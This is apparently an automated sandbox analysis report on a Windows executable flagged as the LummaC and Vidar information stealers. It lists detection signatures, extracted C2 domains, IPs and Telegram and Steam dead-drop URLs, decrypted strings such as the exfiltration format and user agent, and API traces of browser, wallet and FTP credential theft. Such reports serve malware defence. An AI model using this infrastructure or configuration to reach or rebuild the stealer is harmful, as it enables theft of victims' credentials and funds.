Windows Analysis Report
1lKbb2hF7fYToopfpmEvlyRN.exe

Overview

General Information

Sample name: 1lKbb2hF7fYToopfpmEvlyRN.exe
Analysis ID: 1483168
MD5: 3472874efe2c665ab11817ce53216d21
SHA1: 6a75e87df5e211ab55e4daa4f5db59552b480c6a
SHA256: a35e785bcf822d20a6bfb76d4dd3f78ecebaf8147f03ee2ffd8d492ac8cc657f
Tags: exe
Infos:

Detection

LummaC, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected AntiVM3
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Vidar
Yara detected Vidar stealer
.NET source code contains method to dynamically call methods (often used by packers)
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Sigma detected: Silenttrinity Stager Msbuild Activity
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Writes to foreign memory regions
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Searches for user specific document files
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://5.75.212.60/sqls.dll Avira URL Cloud: Label: malware
Source: callosallsaospz.shop Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259/badges Avira URL Cloud: Label: malware
Source: https://5.75.212.60/1 Avira URL Cloud: Label: malware
Source: https://t.me/s41l0#69 Avira URL Cloud: Label: malware
Source: https://5.75.212.60/5 Avira URL Cloud: Label: malware
Source: https://t.me/armad2a Avira URL Cloud: Label: malware
Source: https://5.75.212.60/mozglue.dll# Avira URL Cloud: Label: malware
Source: https://5.75.212.60/F Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259 Avira URL Cloud: Label: malware
Source: https://5.75.212.60/a Avira URL Cloud: Label: malware
Source: https://5.75.212.60/indows.storage.dlll Avira URL Cloud: Label: malware
Source: https://5.75.212.60/p Avira URL Cloud: Label: malware
Source: https://5.75.212.60/softokn3.dll Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000005.00000002.2078508760.000000000418F000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199743486170", "https://t.me/s41l0"], "Botnet": "b607a7a47e1a6ff266af835d50c6eaa5"}
Source: MSBuild.exe.7916.8.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["indexterityszcoxp.shop", "lariatedzugspd.shop", "callosallsaospz.shop", "callosallsaospz.shop", "outpointsozp.shop", "outpointsozp.shop", "liernessfornicsa.shop", "upknittsoappz.shop", "shepherdlyopzc.shop", "unseaffarignsk.shop"], "Build id": "H8NgCl--"}
Multi AV Scanner detection for dropped file
Source: C:\ProgramData\DBAAFIDGDA.exe ReversingLabs: Detection: 83%
Source: C:\ProgramData\DGDBKFBAKF.exe ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\jen1hg[1].exe ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\gfn1go[1].exe ReversingLabs: Detection: 83%
Multi AV Scanner detection for submitted file
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe ReversingLabs: Detection: 50%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\ProgramData\DBAAFIDGDA.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\jen1hg[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\gfn1go[1].exe Joe Sandbox ML: detected
Source: C:\ProgramData\DGDBKFBAKF.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: indexterityszcoxp.shop
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: lariatedzugspd.shop
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: callosallsaospz.shop
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: outpointsozp.shop
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: liernessfornicsa.shop
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: upknittsoappz.shop
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: shepherdlyopzc.shop
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: unseaffarignsk.shop
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: liernessfornicsa.shop
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: TeslaBrowser/5.5
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: - Screen Resoluton:
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: - Physical Installed Memory:
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: Workgroup: -
Source: 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String decryptor: H8NgCl--
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00406D50 CryptUnprotectData,LocalAlloc,LocalFree, 1_2_00406D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00406CD0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 1_2_00406CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00410DF0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 1_2_00410DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00408980 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA, 1_2_00408980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C576C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 1_2_6C576C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6CA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 1_2_6C6CA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6C4440 PK11_PrivDecrypt, 1_2_6C6C4440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C694420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free, 1_2_6C694420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6C44C0 PK11_PubEncrypt, 1_2_6C6C44C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C7125B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt, 1_2_6C7125B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6A8670 PK11_ExportEncryptedPrivKeyInfo, 1_2_6C6A8670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6CA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext, 1_2_6C6CA650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6AE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free, 1_2_6C6AE6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C6EA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError, 1_2_6C6EA730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_004066DD CryptUnprotectData,LocalAlloc,LocalFree, 6_2_004066DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0040667A CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 6_2_0040667A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00407FEE memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA, 6_2_00407FEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0040F388 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 6_2_0040F388
Uses 32bit PE files
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 23.199.218.33:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.212.60:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.212.60:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 65.108.151.108:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr
Source: Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2459852233.000000006C5DD000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr
Source: Binary string: converter.pdb source: DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr
Source: Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr
Source: Binary string: PE.pdbH] source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.0000000003321000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1678671142.0000000005950000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softwaretown.pdb source: DBAAFIDGDA.exe, 00000005.00000000.2060267748.00000000009A2000.00000002.00000001.01000000.0000000B.sdmp, DBAAFIDGDA.exe.1.dr, jen1hg[1].exe.1.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2434980346.0000000037F67000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: converter.pdbx source: DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: fmradiosoft.pdbX source: 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: Binary string: PE.pdb source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.0000000003321000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1678671142.0000000005950000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2428216684.000000002C086000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\GPgmshZsn.pdb source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1679997283.0000000005D53000.00000004.08000000.00040000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.00000000043DC000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2634247963.00000000066DB000.00000002.00001000.00020000.00000000.sdmp
Source: Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2459852233.000000006C5DD000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr
Source: Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\xlHkJa.pdb source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2185461295.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: fmradiosoft.pdb source: 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\hZlPXWfEn.pdb source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004B1E000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2092583255.0000000005BEC000.00000004.08000000.00040000.00000000.sdmp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00401110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_00401110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_004099F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 1_2_004099F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040A2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 1_2_0040A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_004156C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 1_2_004156C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040C2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_0040C2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00415EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_00415EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00414F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose, 1_2_00414F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040B390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_0040B390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00409D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_00409D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00415A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 1_2_00415A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040AAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 1_2_0040AAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0040B4B4 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_0040B4B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00413C66 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_00413C66
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_004138AA GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 6_2_004138AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00401157 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_00401157
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0041355A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 6_2_0041355A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_004091E3 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_004091E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00409E5F wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 6_2_00409E5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0040A6A6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 6_2_0040A6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00408EB5 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 6_2_00408EB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00412F4A wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,memset,lstrcatA,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose, 6_2_00412F4A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00409706 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 6_2_00409706
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_004153C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 1_2_004153C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
